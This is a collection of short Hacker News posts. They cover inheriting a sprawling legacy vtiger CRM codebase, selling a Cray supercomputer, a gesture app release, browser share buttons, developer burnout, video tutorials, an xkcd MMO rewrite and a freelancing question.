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Title: So, I've just inherited a very large, very badly written monstrosity. Including javascript, template files etc, it breaks the 1 million LOC barrier. I'm looking for some advice and strategies that you guys might have used in similar situations, in particular on:<p>- getting a handle on the code base - communicating 'progress' to the client - not losing the will to live<p>The software is based on vtiger, an open-source CRM that has a (deserved) reputation of being incredibly badly written, that has since been badly hacked apart by several different companies with wildly differing ideas. My client currently have 150+ installs and 150+ angry clients.<p>Words fail me trying to describe the state of the software.<p>- no niceties such as MVC, ORMs, a DBAL, or a modular design - all DB queries are inline SQL, with tens of inner joins on most queries - dizzying call stack, yet reams of copy+paste code<p>The best part: the code will often query the DB and execute PHP code contained in the response, or load and run arbitrary files and modules as dictated by parsing particular DB fields. The one page I have studied in detail generates 105 DB queries in the simple case.<p>The DB itself is even worse. There are over 600 tables, as well as views, custom functions, cascades and (but of course) triggers. There is no consistent naming schema, very few explicit foreign key references (despite being heavily, heavily entwined) and I have already discovered several tables that don’t have primary keys, but are referenced by exact string matches on things like date stamps.<p>I wont mention the table-based HTML, javascript, lack of version control etc.<p>I’m not sure if its even possible to give relevant advice (besides perhaps ‘run screaming’), but if anyone here has come through a similar situation and has any advice to share, I would be deeply grateful.<p>Help me HN - you're my only hope. (PS. 2K char limit sux) Upvote:
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Title: "I am liquidating some of my personal collection of unique stuff and my Cray T94 Super Computer must go. What you see in the photos is what I have and what you get. I know that you need more than what I have to make it work. You should consider inspection the item to make sure it is what you want as it is sold as is with no returns." Upvote:
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Title: We just released a new version of Flutter with three gestures, Play/Pause Song, Next Song, and Previous Song for Mac. In addition, we also added support for MPlayerX version 1.0.17.&#60;p&#62;Windows version with new gestures will be available in a week! Upvote:
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Title: Phoenix 0.1 was released September 23, 2002 Upvote:
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Title: There's been more than one mock-the-silliness-that-is-ten-share-buttons-for-an-unshared-blog-post blog posts.<p>The mobile browsers have already shown the way - a single share button, share with any service (yes, there needs to be some open bring-your-own-service functionality like we already do for search).<p>I'm hoping one or two people who are working on one of the major browsers would read this and "simply put it in" and we'd eventually all be living with a cleaner, faster loading web as the on-page buttons go the way of the dodo.<p>Not to mention that it would actually be really useful. Upvote:
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Title: I have four and half years of professional programming experience. Two years ago, I was very passionate, always learning, coding etc.,&#60;p&#62;Slowly over the the past couple of years I have lost interest in everything I suppose. i am not speaking philosophy here, but I am feeling tired of everything.&#60;p&#62;I am just 25. I'm too young to say such things. Anyone else have been through this before and "came back with a bang" ? Upvote:
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Title: Seriously - to all you budding video stars out there with the video tutorials on how to use your product:<p>- I can read faster than you can talk.<p>- I need information, not personality.<p>By the time you've finished introducing yourself, I'm already frustrated. The online video medium may be great for bloggers, but when I'm seeking information, everything else is a distraction.<p>The use of text to provide information has two main advantages (that I can think of right away):<p>1. It's silent - no extraneous noise to disturb others.<p>2. It's repeatable - no need to scrub back and forth to absorb something that may not have been clear the first time.<p>The first time I can remember being subjected to a video tutorial was for Rails documentation, which apparently decided to eschew text for some over-produced video introduction. I'm probably not the typical user, but that one omission has pretty much put me off of Rails since the beginning.<p>The most recent offender is Apple, with some demo video on setting up an iTunes account (w/o credit card) which guarantees I have to give up 4-10 minutes of my life that I will never get back, without any guarantee of getting the information I need.<p>While I point out two examples, there are many, many more out there where video/animation/flashiness is the primary or only method of documentation. A tutorial video should always be a secondary method of providing information, never the first.<p>Really, it looks great: nice titles, expensive animation, very creative. Now, what are you trying to hide?<p>Remember: I can read faster than you can talk. Upvote:
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Title: Currently for .NET, JVM in the pipeline. Upvote:
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Title: Hello all hackers from HackerNews. We notice a new MMO was released by n01se and xkcd yesterday (September 26th, 2012) with multiple users flying around with a balloon figure. If you got stuck, you can click your balloon guy and turn into a ghost to seamlessly move through the landscape unhindered by mortal barriers like trees and hills. There was a problem however with the scaling of users on the system. The max concurrency could only be 20 users at a time leaving many wonder where the MMO part of the MMO was. We ripped out the non-scaling Node.JS code. ENJOY.<p>Enter the xkcd World with Friends: http://www.pubnub.com/static/pubnub-xkcd/index.html Upvote:
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Title: Hello HN.<p>I am a highly experienced developer who has recently taken to freelancing. I looked at several freelancing websites only to be outbid by outsourcing companies with ridiculous rates. Are there other avenues, forums or resources that would help me get work?<p>Please do share any advice you've got, thanks a million. Upvote:
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